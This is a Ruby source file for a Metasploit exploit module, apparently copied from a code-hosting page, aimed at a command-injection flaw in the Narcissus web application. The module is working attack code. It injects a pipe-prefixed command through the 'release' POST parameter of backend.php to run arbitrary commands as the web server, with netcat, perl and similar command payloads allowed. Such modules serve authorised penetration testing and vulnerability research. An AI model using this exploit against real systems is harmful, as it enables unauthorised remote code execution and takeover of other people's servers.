103 lines
2.8 KiB
Ruby
103 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Narcissus Image Configuration Passthru Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Narcissus image configuration
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function. This is due to the backend.php file not handling the $release parameter
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properly, and then passes it on to the configure_image() function. In this
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function, the $release parameter can be used to inject system commands for
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passthru (a PHP function that's meant to be used to run a bash script by the
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vulnerable application), which allows remote code execution under the context
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of the web server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Dun', #Original
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'EDB', '22709' ],
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[ 'OSVDB', '87410' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python netcat netcat-e'
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},
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Narcissus', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 14 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
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])
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end
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def base
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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return uri
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end
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def remote_exe(command)
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res = send_request_cgi({
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'uri' => "#{base}backend.php",
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'method' => 'POST',
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'encode_params' => false,
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'vars_post' => {
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'machine' => '0',
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'action' => 'configure_image',
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'release' => "|#{command}"
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}
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})
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vprint_line(res.body) if res
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return res
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end
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def check
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sig = rand_text_alpha(rand(10) + 5) #The string to check
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vprint_status("Looking for signature '#{sig}'...")
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res = remote_exe("echo #{sig}")
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if res and res.body =~ /#{sig}/
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vprint_status("Signature '#{sig}' found.")
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return Exploit::CheckCode::Vulnerable
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else
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vprint_status("Signature not found")
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("Sending malicious request...")
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remote_exe(payload.encoded)
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end
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end
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